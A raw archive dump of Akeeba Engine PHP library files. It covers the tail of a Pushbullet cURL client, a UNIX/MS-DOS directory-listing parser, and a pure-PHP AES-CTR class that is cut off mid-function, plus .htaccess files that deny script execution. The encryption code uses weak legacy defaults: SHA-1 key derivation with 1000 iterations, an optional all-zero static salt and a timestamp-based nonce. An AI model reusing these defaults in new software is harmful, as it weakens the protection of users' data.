	 * @param   int     $modifiedAfter  Request devices modified after this UNIX timestamp.
	 * @param   string  $cursor         Request the next page via its cursor from a previous response. See the API
	 *                                  documentation (https://docs.pushbullet.com/http/) for a detailed description.
	 * @param   int     $limit          Maximum number of objects on each page.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function getDevices($modifiedAfter = 0, $cursor = null, $limit = null)
	{
		$data                   = [];
		$data['modified_after'] = $modifiedAfter;

		if ($cursor !== null)
		{
			$data['cursor'] = $cursor;
		}

		if ($limit !== null)
		{
			$data['limit'] = $limit;
		}

		return $this->_curlRequest(self::URL_DEVICES, 'GET', $data);
	}

	/**
	 * Get information about the current user.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function getUserInformation()
	{
		return $this->_curlRequest(self::URL_USERS . '/me', 'GET');
	}

	/**
	 * Update preferences for the current user.
	 *
	 * @param   array  $preferences  Preferences.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function updateUserPreferences($preferences)
	{
		return $this->_curlRequest(self::URL_USERS . '/me', 'POST', ['preferences' => $preferences]);
	}

	/**
	 * Add a callback function that will be invoked right before executing each cURL request.
	 *
	 * @param   callable  $callback  The callback function.
	 */
	public function addCurlCallback(callable $callback)
	{
		$this->_curlCallback = $callback;
	}

	/**
	 * Send a request to a remote server using cURL.
	 *
	 * @param   string  $url         URL to send the request to.
	 * @param   string  $method      HTTP method.
	 * @param   array   $data        Query data.
	 * @param   bool    $sendAsJSON  Send the request as JSON.
	 * @param   bool    $auth        Use the API key to authenticate
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	private function _curlRequest($url, $method, $data = null, $sendAsJSON = true, $auth = true)
	{
		$curl = curl_init();

		$this->applyProxySettingsToCurl($curl);

		if ($method == 'GET' && $data !== null)
		{
			$url .= '?' . http_build_query($data);
		}

		curl_setopt($curl, CURLOPT_URL, $url);

		if ($auth)
		{
			curl_setopt($curl, CURLOPT_USERPWD, $this->_apiKey);
		}

		curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method);

		if ($method == 'POST' && $data !== null)
		{
			if ($sendAsJSON)
			{
				$data = json_encode($data);
				curl_setopt($curl, CURLOPT_HTTPHEADER, [
					'Content-Type: application/json',
					'Content-Length: ' . strlen($data),
				]);
			}

			curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
		}

		curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($curl, CURLOPT_HEADER, false);

		@curl_setopt($curl, CURLOPT_CAINFO, AKEEBA_CACERT_PEM);
		curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);

		if ($this->_curlCallback !== null)
		{
			$curlCallback = $this->_curlCallback;
			$curlCallback($curl);
		}

		$response = curl_exec($curl);

		if ($response === false)
		{
			$curlError = curl_error($curl);

			if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
			{
				curl_close($curl);
			}

			throw new ApiException('cURL Error: ' . $curlError);
		}

		$httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);

		if ($httpCode >= 400)
		{
			if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
			{
				curl_close($curl);
			}

			$responseParsed = json_decode($response);

			throw new ApiException('HTTP Error ' . $httpCode .
				' (' . $responseParsed->error->type . '): ' . $responseParsed->error->message);
		}

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($curl);
		}

		return json_decode($response);
	}
}
PK     \)1    <  vendor/akeeba/engine/engine/Util/Pushbullet/ApiException.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Pushbullet;

defined('AKEEBAENGINE') || die();

use Exception;

class ApiException extends Exception
{
	// Exception thrown by Pushbullet
}
PK     \Sʉ      5  vendor/akeeba/engine/engine/Util/Pushbullet/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      *  vendor/akeeba/engine/engine/Util/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \h/  h/  2  vendor/akeeba/engine/engine/Util/ListingParser.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

/**
 * Parses directory listings of the standard UNIX or MS-DOS style, i.e. what is most commonly returned by FTP and SFTP
 * servers running on *NIX and Windows machines.
 *
 * This class is intended to be used with the result RemoteResourceInterface::getRawList, parsing the raw folder listing
 * returned by an (S)FTP server -meant to be read by a human- into something you can programmatically work with. Using
 * RemoteResourceInterface::getWrapperStringFor with DirectoryIterator is generally preferable, if only much slower due
 * to the synchronous nature of remote stat() requests on each iterated element.
 */
class ListingParser
{
	/**
	 * Parse a UNIX- or MS-DOS-style directory listing.
	 *
	 * You get a hash array with entries. Each entry has the following keys:
	 * name:    the file / folder name.
	 * type:    file, dir or link.
	 * target:  link target (when type == link).
	 * user:    owner user, numeric or text. IIS FTP fakes this with the literal string "owner".
	 * group:   owner group, numeric or text. IIS FTP fakes this with the literal string "group".
	 * size:    size in bytes; note that some Linux servers report non-zero sizes for directories.
	 * date:    file creation date, most likely blatantly wrong; see below
	 * perms:   permissions in decimal format. Cast with dec2oct to get the 4 digit permissions string, e.g. 1755
	 *
	 * Important Notes
	 *
	 * Some UNIX systems report a size for directories. Do not assume that something is a directory if it's size is 0,
	 * you will be surprised. Look at the 'type' element instead.
	 *
	 * Dates can be off. UNIX-style directory listings state either the year or the time, not both. If the file was
	 * modified during this year you will get a date with a resolution of 1 minute. If the file was modified on a
	 * different year you'll get a date with a resolution of 1 day. MS-DOS listings always contain the time. Again, the
	 * resolution is 1 minute.
	 *
	 * Most MS-DOS style listings don't list junctions and symlinks. As a result they will be reported as regular
	 * directories / files. This is the case for the IIS FTP server. Other servers may return the raw "dir" command
	 * results (as CMD.EXE would parse it) in which case links and link targets do get reported.
	 *
	 * @param   string  $list   The raw listing
	 * @param   bool    $quick  True to only include name, type, size and link target for each file.
	 *
	 * @return  array
	 */
	public function parseListing($list, $quick = false)
	{
		$res = $this->parseUnixListing($list, $quick);

		if (empty($res))
		{
			$res = $this->parseMSDOSListing($list, $quick);
		}

		return $res;
	}

	/**
	 * Parse a UNIX-style directory listing. This is the format produced by ls -la on *NIX systems.
	 *
	 * You get a hash array with entries. Each entry has the following keys:
	 * name: the file / folder name.
	 * type: file, dir or link.
	 * target: link target (when type == link).
	 * user: owner user, numeric or text. IIS FTP fakes this with the literal string "owner".
	 * group: owner group, numeric or text. IIS FTP fakes this with the literal string "group".
	 * size: size in bytes; note that some Linux servers report non-zero sizes for directories.
	 * date: file creation date, most likely blatantly wrong; see below
	 * perms: permissions in decimal format. Cast with dec2oct to get the 4 digit permissions string, e.g. 1755
	 *
	 * @param   string  $list   The raw listing
	 * @param   bool    $quick  True to only include name, type, size and link target for each file.
	 *
	 * @return  array
	 */
	protected function parseUnixListing($list, $quick = false)
	{
		$ret = [];

		$list = str_replace(["\r\n", "\r", "\n\n"], ["\n", "\n", "\n"], $list);
		$list = explode("\n", $list);
		$list = array_map('rtrim', $list);

		foreach ($list as $v)
		{
			$vInfo = preg_split("/[\s]+/", $v, 9);

			if ((is_array($vInfo) || $vInfo instanceof \Countable ? count($vInfo) : 0) != 9)
			{
				continue;
			}

			$entry = [
				'name'   => '',
				'type'   => 'file',
				'target' => '',
				'user'   => '0',
				'group'  => '0',
				'size'   => '0',
				'date'   => '0',
				'perms'  => '0',
			];

			if ($quick)
			{
				$entry = [
					'name'   => '',
					'type'   => 'file',
					'size'   => '0',
					'target' => '',
				];
			}

			// ===== Parse permissions =====
			$permString    = $vInfo[0];
			$permStringLen = strlen($permString);
			$typeBit       = '-';
			$userPerms     = 'r--';
			$groupPerms    = 'r--';
			$otherPerms    = 'r--';

			if ($permStringLen)
			{
				$typeBit = substr($permString, 0, 1);
			}

			switch ($typeBit)
			{
				case "d":
					$entry['type'] = 'dir';
					break;

				case "l":
					$entry['type'] = 'link';
					break;
			}

			// ===== Parse size =====
			$entry['size'] = $vInfo[4];

			if (!$quick)
			{
				if ($permStringLen >= 4)
				{
					$userPerms = substr($permString, 1, 3);
				}

				if ($permStringLen >= 7)
				{
					$groupPerms = substr($permString, 4, 3);
				}

				if ($permStringLen >= 10)
				{
					$otherPerms = substr($permString, 7, 3);
				}

				$bitPart   = 0;
				$permsPart = '';

				[$thisPerms, $thisBit] = $this->textPermsDecode($userPerms);
				$bitPart   += 4 * $thisBit; // SetUID
				$permsPart .= $thisPerms;

				[$thisPerms, $thisBit] = $this->textPermsDecode($groupPerms);
				$bitPart   += 2 * $thisBit; // SetGID
				$permsPart .= $thisPerms;

				[$thisPerms, $thisBit] = $this->textPermsDecode($otherPerms);
				$bitPart   += $thisBit; // Sticky (restricted deletion)
				$permsPart .= $thisPerms;

				$entry['perms'] = octdec($bitPart . $permsPart);

				// ===== Parse ownership =====
				$entry['user']  = $vInfo[2];
				$entry['group'] = $vInfo[3];

				// ===== Parse date =====
				$dateString    = $vInfo[6] . ' ' . $vInfo[5] . ' ' . $vInfo[7];
				$x             = date_create($dateString);
				$entry['date'] = ($x === false) ? 0 : $x->getTimestamp();
			}

			// ===== Parse name =====
			$name = $vInfo[8];

			// Ubuntu (possibly others?) tacks a start when either suid/sgid bits is set
			if (substr($name, -1) == '*')
			{
				$name = substr($name, 0, -1);
			}

			// Link target parsing
			if (strpos($name, '->') !== false)
			{
				[$name, $target] = explode('->', $name);

				$entry['target'] = trim($target);
			}

			$entry['name'] = trim($name);

			// ===== Return the entry =====
			$ret[] = $entry;
		}

		return $ret;
	}

	/**
	 * Parse am MS-DOS-style directory listing. This is the format produced by dir on MS-DOS and Windows systems.
	 *
	 * You get a hash array with entries. Each entry has the following keys:
	 * name: the file / folder name.
	 * type: file, dir or link.
	 * target: link target (when type == link).
	 * user: owner user, numeric or text. IIS FTP fakes this with the literal string "owner".
	 * group: owner group, numeric or text. IIS FTP fakes this with the literal string "group".
	 * size: size in bytes; note that some Linux servers report non-zero sizes for directories.
	 * date: file creation date, most likely blatantly wrong; see below
	 * perms: permissions in decimal format. Cast with dec2oct to get the 4 digit permissions string, e.g. 1755
	 *
	 * @param   string  $list   The raw listing
	 * @param   bool    $quick  True to only include name, type, size and link target for each file.
	 *
	 * @return  array
	 */
	protected function parseMSDOSListing($list, $quick = false)
	{
		$ret = [];

		$list = str_replace(["\r\n", "\r", "\n\n"], ["\n", "\n", "\n"], $list);
		$list = explode("\n", $list);
		$list = array_map('rtrim', $list);

		foreach ($list as $v)
		{
			$vInfo = preg_split("/[\s]+/", $v, 5);

			if ((is_array($vInfo) || $vInfo instanceof \Countable ? count($vInfo) : 0) < 4)
			{
				continue;
			}

			$entry = [
				'name'   => '',
				'type'   => 'file',
				'target' => '',
				'user'   => '0',
				'group'  => '0',
				'size'   => '0',
				'date'   => '0',
				'perms'  => '0',
			];

			if ($quick)
			{
				$entry = [
					'name'   => '',
					'type'   => 'file',
					'size'   => '0',
					'target' => '',
				];
			}

			// The first two fields are date and time
			$dateString = $vInfo[0] . ' ' . $vInfo[1];

			// If position 2 is AM/PM append it and remove it from the list
			if (in_array(strtoupper($vInfo[2]), ['AM', 'PM']))
			{
				$dateString .= ' ' . $vInfo[2];

				// This trick is required to remove the element and fix the indices for the rest of the parsing to work.
				unset ($vInfo[2]);
				$vInfo = array_merge($vInfo);
			}

			if (!$quick)
			{
				$x             = date_create($dateString);
				$entry['date'] = ($x === false) ? 0 : $x->getTimestamp();
			}

			// The third field is either a special type indicator or the file size
			switch (strtoupper($vInfo[2]))
			{
				// Regular directory
				case '<DIR>':
					$entry['type'] = 'dir';
					break;

				// Junction (like a directory symlink, pre-Win7)
				case '<JUNCTION>':
					// File symlink
				case '<SYMLINK>':
					// Directory symlink
				case '<SYMLINKD>':
					$entry['type'] = 'link';
					break;

				default:
					$entry['size'] = (int) $vInfo[2];
					break;
			}

			// And finally the file name. If it's a link it's in the format 'name [target]'
			preg_match('/(.*)[\s]+\[(.*)\]/', $vInfo[3], $matches);

			if (empty($matches))
			{
				$entry['name'] = $vInfo[3];

				// In 24h format (no AM/PM), the target '[...]' may be in the next field
				if (empty($entry['target']) && isset($vInfo[4]))
				{
					preg_match('/(.*)[\s]+\[(.*)\]/', $vInfo[3] . ' ' . $vInfo[4], $matches);

					if (!empty($matches))
					{
						$entry['type']   = 'link';
						$entry['name']   = $matches[1];
						$entry['target'] = $matches[2];
					}
				}
			}
			else
			{
				$entry['type']   = 'link';
				$entry['name']   = $matches[1];
				$entry['target'] = $matches[2];
			}

			// ===== Return the entry =====
			$ret[] = $entry;
		}

		return $ret;
	}

	/**
	 * Decode a textual permissions representation for a user, group or others to a pair of octal digits (permissions
	 * and flags). For example "r--" is converted to [4, 0], "r-x" to [5, 0], "r-t" to [5, 1]
	 *
	 * @param   string  $perms  The textual permissions representation for a user, group or others
	 *
	 * @return  array  Two octal digits for permissions and flags (suid/sgid/sticky bit)
	 */
	private function textPermsDecode($perms)
	{
		$permBit  = 0;
		$flagBits = 0;

		if (strpos($perms, 'r') !== false)
		{
			$permBit += 4;
		}

		if (strpos($perms, 'w') !== false)
		{
			$permBit += 2;
		}

		/**
		 * Both s and t denote flag set and imply the execute permissions is also granted. For user/groups it's
		 * SetUID/SetGID respectively, for others it's the "sticky" bit (restricted deletion). Since only one of x, s
		 * and t can be present at one time we use an if/elseif block. I don't use a switch because a. I am not 100%
		 * sure that all servers will report the text permissions in rwx order and b. I am not sure that switch and
		 * substr are faster than strpos (and too lazy to benchmark; sorry).
		 */
		if (strpos($perms, 'x') !== false)
		{
			$permBit += 1;
		}
		elseif (strpos($perms, 't') !== false)
		{
			$flagBits += 1;
		}
		elseif (strpos($perms, 's') !== false)
		{
			$flagBits += 1;
		}

		return [$permBit, $flagBits];
	}
}
PK     \m  m  ,  vendor/akeeba/engine/engine/Util/Encrypt.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Util\AesAdapter\AdapterInterface;
use Akeeba\Engine\Util\AesAdapter\Mcrypt;
use Akeeba\Engine\Util\AesAdapter\OpenSSL;

/**
 * AES implementation in PHP (c) Chris Veness 2005-2016.
 * Right to use and adapt is granted for under a simple creative commons attribution
 * licence. No warranty of any form is offered.
 *
 * Heavily modified for Akeeba Backup by Nicholas K. Dionysopoulos
 * Also added AES-128 CBC mode (with mcrypt and OpenSSL) on top of AES CTR
 */
class Encrypt
{
	use HashTrait;

	// Sbox is pre-computed multiplicative inverse in GF(2^8) used in SubBytes and KeyExpansion [�5.1.1]
	protected $Sbox =
		[
			0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
			0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
			0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
			0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
			0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
			0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
			0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
			0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
			0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
			0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
			0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
			0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
			0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
			0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
			0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
			0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16,
		];

	// Rcon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [�5.2]
	protected $Rcon = [
		[0x00, 0x00, 0x00, 0x00],
		[0x01, 0x00, 0x00, 0x00],
		[0x02, 0x00, 0x00, 0x00],
		[0x04, 0x00, 0x00, 0x00],
		[0x08, 0x00, 0x00, 0x00],
		[0x10, 0x00, 0x00, 0x00],
		[0x20, 0x00, 0x00, 0x00],
		[0x40, 0x00, 0x00, 0x00],
		[0x80, 0x00, 0x00, 0x00],
		[0x1b, 0x00, 0x00, 0x00],
		[0x36, 0x00, 0x00, 0x00],
	];

	protected $passwords = [];

	/**
	 * The algorithm to use for PBKDF2. Must be a supported hash_hmac algorithm. Default: sha1
	 *
	 * @var  string
	 */
	private $pbkdf2Algorithm = 'sha1';

	/**
	 * Number of iterations to use for PBKDF2
	 *
	 * @var  int
	 */
	private $pbkdf2Iterations = 1000;

	/**
	 * Should we use a static salt for PBKDF2?
	 *
	 * @var  int
	 */
	private $pbkdf2UseStaticSalt = 0;

	/**
	 * The static salt to use for PBKDF2
	 *
	 * @var  string
	 */
	private $pbkdf2StaticSalt = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";

	/**
	 * AES Cipher function: encrypt 'input' with Rijndael algorithm
	 *
	 * @param   string  $input  message as byte-array (16 bytes)
	 * @param   array   $w      key schedule as 2D byte-array (Nr+1 x Nb bytes) -
	 *                          generated from the cipher key by KeyExpansion()
	 *
	 * @return      array  ciphertext as byte-array (16 bytes)
	 */
	public function Cipher($input, $w)
	{
		// main Cipher function [�5.1]
		$Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
		$Nr = count($w) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys

		$state = []; // initialise 4xNb byte-array 'state' with input [�3.4]

		for ($i = 0; $i < 4 * $Nb; $i++)
		{
			$state[$i % 4][(int) floor($i / 4)] = $input[$i];
		}

		$state = $this->AddRoundKey($state, $w, 0, $Nb);

		for ($round = 1; $round < $Nr; $round++)
		{
			// apply Nr rounds
			$state = $this->SubBytes($state, $Nb);
			$state = $this->ShiftRows($state, $Nb);
			$state = $this->MixColumns($state, $Nb);
			$state = $this->AddRoundKey($state, $w, $round, $Nb);
		}

		$state = $this->SubBytes($state, $Nb);
		$state = $this->ShiftRows($state, $Nb);
		$state = $this->AddRoundKey($state, $w, $Nr, $Nb);

		$output = [4 * $Nb]; // convert state to 1-d array before returning [�3.4]

		for ($i = 0; $i < 4 * $Nb; $i++)
		{
			$output[$i] = $state[$i % 4][(int) floor($i / 4)];
		}

		return $output;
	}

	/**
	 * Key expansion for Rijndael Cipher(): performs key expansion on cipher key
	 * to generate a key schedule
	 *
	 * @param   array  $key  cipher key byte-array (16 bytes)
	 *
	 * @return    array key schedule as 2D byte-array (Nr+1 x Nb bytes)
	 */
	public function KeyExpansion($key)
	{
		// generate Key Schedule from Cipher Key [�5.2]
		$Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
		$Nk = count($key) / 4; // key length (in words): 4/6/8 for 128/192/256-bit keys
		$Nr = $Nk + 6; // no of rounds: 10/12/14 for 128/192/256-bit keys

		$w    = [];
		$temp = [];

		for ($i = 0; $i < $Nk; $i++)
		{
			$r     = [$key[4 * $i], $key[4 * $i + 1], $key[4 * $i + 2], $key[4 * $i + 3]];
			$w[$i] = $r;
		}

		for ($i = $Nk; $i < ($Nb * ($Nr + 1)); $i++)
		{
			$w[(int) $i] = [];

			for ($t = 0; $t < 4; $t++)
			{
				$temp[$t] = $w[(int) $i - 1][$t];
			}

			if ($i % $Nk == 0)
			{
				$temp = $this->SubWord($this->RotWord($temp));

				for ($t = 0; $t < 4; $t++)
				{
					$temp[$t] ^= $this->Rcon[(int) ($i / $Nk)][$t];
				}
			}
			elseif ($Nk > 6 && $i % $Nk == 4)
			{
				$temp = $this->SubWord($temp);
			}

			for ($t = 0; $t < 4; $t++)
			{
				$w[(int) $i][$t] = $w[(int) $i - $Nk][$t] ^ $temp[$t];
			}
		}

		return $w;
	}

	/**
	 * Encrypt a text using AES encryption in Counter mode of operation
	 *  - see http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
	 *
	 * Unicode multi-byte character safe
	 *
	 * @param   string  $plaintext  source text to be encrypted
	 * @param   string  $password   the password to use to generate a key
	 * @param   int     $nBits      number of bits to be used in the key (128, 192, or 256)
	 *
	 * @return string encrypted text
	 */
	public function AESEncryptCtr($plaintext, $password, $nBits)
	{
		$blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES

		// standard allows 128/192/256 bit keys
		if (!($nBits == 128 || $nBits == 192 || $nBits == 256))
		{
			return '';
		}

		// note PHP (5) gives us plaintext and password in UTF8 encoding!

		// use AES itself to encrypt password to get cipher key (using plain password as source for
		// key expansion) - gives us well encrypted key
		$nBytes  = $nBits / 8; // no bytes in key
		$pwBytes = [];

		for ($i = 0; $i < $nBytes; $i++)
		{
			$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
		}

		$key = $this->Cipher($pwBytes, $this->KeyExpansion($pwBytes));
		$key = array_merge($key, array_slice($key, 0, $nBytes - 16)); // expand key to 16/24/32 bytes long

		// initialise counter block (NIST SP800-38A �B.2): millisecond time-stamp for nonce in
		// 1st 8 bytes, block counter in 2nd 8 bytes
		$counterBlock = [];
		$nonce        = floor(microtime(true) * 1000); // timestamp: milliseconds since 1-Jan-1970
		$nonceSec     = floor($nonce / 1000);
		$nonceMs      = $nonce % 1000;

		// encode nonce with seconds in 1st 4 bytes, and (repeated) ms part filling 2nd 4 bytes
		for ($i = 0; $i < 4; $i++)
		{
			$counterBlock[$i] = $this->urs($nonceSec, $i * 8) & 0xff;
		}

		for ($i = 0; $i < 4; $i++)
		{
			$counterBlock[$i + 4] = $nonceMs & 0xff;
		}

		// and convert it to a string to go on the front of the ciphertext
		$ctrTxt = '';

		for ($i = 0; $i < 8; $i++)
		{
			$ctrTxt .= chr($counterBlock[$i]);
		}

		// generate key schedule - an expansion of the key into distinct Key Rounds for each round
		$keySchedule = $this->KeyExpansion($key);

		$blockCount = ceil(strlen($plaintext) / $blockSize);
		$ciphertxt  = []; // ciphertext as array of strings

		for ($b = 0; $b < $blockCount; $b++)
		{
			// set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
			// done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)
			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c] = $this->urs($b, $c * 8) & 0xff;
			}

			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c - 4] = $this->urs($b / 0x100000000, $c * 8);
			}

			$cipherCntr = $this->Cipher($counterBlock, $keySchedule); // -- encrypt counter block --

			// block size is reduced on final block
			$blockLength = $b < $blockCount - 1 ? $blockSize : (strlen($plaintext) - 1) % $blockSize + 1;
			$cipherByte  = [];

			for ($i = 0; $i < $blockLength; $i++)
			{ // -- xor plaintext with ciphered counter byte-by-byte --
				$cipherByte[$i] = $cipherCntr[$i] ^ ord(substr($plaintext, $b * $blockSize + $i, 1));
				$cipherByte[$i] = chr($cipherByte[$i]);
			}

			$ciphertxt[$b] = implode('', $cipherByte); // escape troublesome characters in ciphertext
		}

		// implode is more efficient than repeated string concatenation
		$ciphertext = $ctrTxt . implode('', $ciphertxt);
		$ciphertext = base64_encode($ciphertext);

		return $ciphertext;
	}

	/**
	 * Decrypt a text encrypted by AES in counter mode of operation
	 *
	 * @param   string  $ciphertext  source text to be decrypted
	 * @param   string  $password    the password to use to generate a key
	 * @param   int     $nBits       number of bits to be used in the key (128, 192, or 256)
	 *
	 * @return string decrypted text
	 */
	public function AESDecryptCtr($ciphertext, $password, $nBits)
	{
		$blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES

		// standard allows 128/192/256 bit keys
		if (!($nBits == 128 || $nBits == 192 || $nBits == 256))
		{
			return '';
		}

		$ciphertext = base64_decode($ciphertext);

		// use AES to encrypt password (mirroring encrypt routine)
		$nBytes  = $nBits / 8; // no bytes in key
		$pwBytes = [];

		for ($i = 0; $i < $nBytes; $i++)
		{
			$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
		}

		$key = $this->Cipher($pwBytes, $this->KeyExpansion($pwBytes));
		$key = array_merge($key, array_slice($key, 0, $nBytes - 16)); // expand key to 16/24/32 bytes long

		// recover nonce from 1st element of ciphertext
		$counterBlock = [];
		$ctrTxt       = substr($ciphertext, 0, 8);

		for ($i = 0; $i < 8; $i++)
		{
			$counterBlock[$i] = ord(substr($ctrTxt, $i, 1));
		}

		// generate key schedule
		$keySchedule = $this->KeyExpansion($key);

		// separate ciphertext into blocks (skipping past initial 8 bytes)
		$nBlocks = ceil((strlen($ciphertext) - 8) / $blockSize);
		$ct      = [];

		for ($b = 0; $b < $nBlocks; $b++)
		{
			$ct[$b] = substr($ciphertext, 8 + $b * $blockSize, 16);
		}

		$ciphertext = $ct; // ciphertext is now array of block-length strings

		// plaintext will get generated block-by-block into array of block-length strings
		$plaintxt = [];

		for ($b = 0; $b < $nBlocks; $b++)
		{
			// set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c] = $this->urs($b, $c * 8) & 0xff;
			}

			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c - 4] = $this->urs(($b + 1) / 0x100000000 - 1, $c * 8) & 0xff;
			}

			$cipherCntr = $this->Cipher($counterBlock, $keySchedule); // encrypt counter block

			$plaintxtByte = [];

			for ($i = 0; $i < strlen($ciphertext[$b]); $i++)
			{
				// -- xor plaintext with ciphered counter byte-by-byte --
